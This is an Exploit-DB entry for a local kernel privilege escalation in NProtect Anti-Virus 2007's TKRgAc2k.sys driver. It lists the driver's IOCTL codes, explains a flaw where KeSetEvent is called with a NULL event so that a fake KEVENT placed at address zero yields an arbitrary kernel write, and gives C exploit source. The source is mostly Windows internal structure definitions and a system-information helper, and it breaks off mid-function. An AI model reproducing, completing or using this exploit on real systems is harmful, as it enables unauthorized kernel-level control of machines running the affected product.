Exploit-DB #15762
Description: NProtect Anti-Virus 2007 < 2010.5.11.1 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2010-12-17
Author: MJ0011

Exploit:
NProtect  Anti-Virus 2007  with  TKRgAc2k.sys  <= 2010.5.11.1 
Local Kernel Mode Privilege Escalation Vulnerability


AUTHOR
MJ0011

EMAIL
th_decoder$126.com

VULNERABLE PRODUCTS
NProtect Anti-Virus 2007

DETAILS:
TKRgAc2k.sys create a device called "TKRgAc",and handles these io control codes for:

0x22140:Receive registry monitor key value name MD5
0x221448:Receive Registry monitor key name 
0x221444:Receive Registry key monitor enable
0x221410:Receive virus name that matchs the key value name MD5
0x220c54:Create share memory for receive virus notification
0x220c5c:Receive event handle for send virus notification
Tkacrg2k.sys create FileObject->FsContext for each process to open the device,and save key/key value /virus name /event object in FsContext. Here contains a design error , if a registry operation is intercepted and match the rules , but event handle has not been set, TKAcRg2k.sys will still be nofity of this event to ring3 with KeSetEvent(NULL,0). An attacker can allocate a fake KEVENT structure at zero address and overwrite any address with KEvent->WaitThreadList->KThread->WaitListEntry 's remove list entry operation. 



EXPLOIT CODE:
// NP0DAY.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "windows.h"
typedef struct _STRING {  
    USHORT Length;  
    USHORT MaximumLength;  
    PCHAR Buffer;  
} STRING;  
typedef STRING *PSTRING;  
typedef struct _RTL_DRIVE_LETTER_CURDIR {  
    USHORT Flags;  
    USHORT Length;  
    ULONG TimeStamp;  
    STRING DosPath;  
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;  
typedef struct _UNICODE_STRING {  
    USHORT Length;  
    USHORT MaximumLength;  
    PWSTR  Buffer;  
} UNICODE_STRING;  
typedef UNICODE_STRING *PUNICODE_STRING;  
typedef const UNICODE_STRING *PCUNICODE_STRING;  
#define RTL_MAX_DRIVE_LETTERS 32  
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001  
typedef struct _CURDIR {  
    UNICODE_STRING DosPath;  
    HANDLE Handle;  
} CURDIR, *PCURDIR;  
typedef struct _RTL_USER_PROCESS_PARAMETERS {  
    ULONG MaximumLength;  
    ULONG Length;  
    ULONG Flags;  
    ULONG DebugFlags;  
    HANDLE ConsoleHandle;  
    ULONG  ConsoleFlags;  
    HANDLE StandardInput;  
    HANDLE StandardOutput;  
    HANDLE StandardError;  
    CURDIR CurrentDirectory;        // ProcessParameters  
    UNICODE_STRING DllPath;         // ProcessParameters  
    UNICODE_STRING ImagePathName;   // ProcessParameters  
    UNICODE_STRING CommandLine;     // ProcessParameters  
    PVOID Environment;              // NtAllocateVirtualMemory  
    ULONG StartingX;  
    ULONG StartingY;  
    ULONG CountX;  
    ULONG CountY;  
    ULONG CountCharsX;  
    ULONG CountCharsY;  
    ULONG FillAttribute;  
    ULONG WindowFlags;  
    ULONG ShowWindowFlags;  
    UNICODE_STRING WindowTitle;     // ProcessParameters  
    UNICODE_STRING DesktopInfo;     // ProcessParameters  
    UNICODE_STRING ShellInfo;       // ProcessParameters  
    UNICODE_STRING RuntimeData;     // ProcessParameters  
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];  
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;  
typedef struct _PEB {  
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the  

    BOOLEAN ReadImageFileExecOptions;   //  
    BOOLEAN BeingDebugged;              //  
    BOOLEAN SpareBool;                  //  
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.  

    PVOID ImageBaseAddress;  
    PVOID Ldr;  
    struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;  
} PEB, *PPEB;  
typedef LONG KPRIORITY;  
typedef struct _PROCESS_BASIC_INFORMATION {  
    LONG ExitStatus;  
    PVOID PebBaseAddress;  
    ULONG_PTR AffinityMask;  
    KPRIORITY BasePriority;  
    ULONG_PTR UniqueProcessId;  
    ULONG_PTR InheritedFromUniqueProcessId;  
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;  
typedef enum _EVENT_TYPE {
    NotificationEvent,
SynchronizationEvent
} EVENT_TYPE;
typedef struct _DISPATCHER_HEADER {
    union {
        struct {
            UCHAR Type;
            union {
                UCHAR Absolute;
                UCHAR NpxIrql;
            };
            union {
                UCHAR Size;
                UCHAR Hand;
            };
            union {
                UCHAR Inserted;
                BOOLEAN DebugActive;
            };
        };
        volatile LONG Lock;
    };
    LONG SignalState;
    LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER , *PDISPATCHER_HEADER;
typedef const UNICODE_STRING *PCUNICODE_STRING;
typedef enum _WAIT_TYPE {
    WaitAll,
WaitAny
    } WAIT_TYPE;
typedef struct _OBJECT_BASIC_INFORMATION {
    ULONG Attributes;
    ACCESS_MASK GrantedAccess;
    ULONG HandleCount;
    ULONG PointerCount;
    ULONG PagedPoolCharge;
    ULONG NonPagedPoolCharge;
    ULONG Reserved[ 3 ];
    ULONG NameInfoSize;
    ULONG TypeInfoSize;
    ULONG SecurityDescriptorSize;
    LARGE_INTEGER CreationTime;
} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;
typedef struct _KWAIT_BLOCK {
    LIST_ENTRY WaitListEntry;
    PVOID kThread;
    PVOID Object;
    struct _KWAIT_BLOCK *NextWaitBlock;
    USHORT WaitKey;
    UCHAR WaitType;
} KWAIT_BLOCK, *PKWAIT_BLOCK, *PRKWAIT_BLOCK;
#include "malloc.h"
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");

do
{
mPtr = malloc(mSize);
if (mPtr)
{
__asm
{
push 0
push mSize
push mPtr
push ATableType
call pZwQuerySystemInformation
mov status , eax
}
}
else
{
return NULL;
}
if (status == 0xc0000004)
{
free(mPtr);
mSize = mSize * 2;
}
} while (status == 0xc0000004);
if (status == 0)
{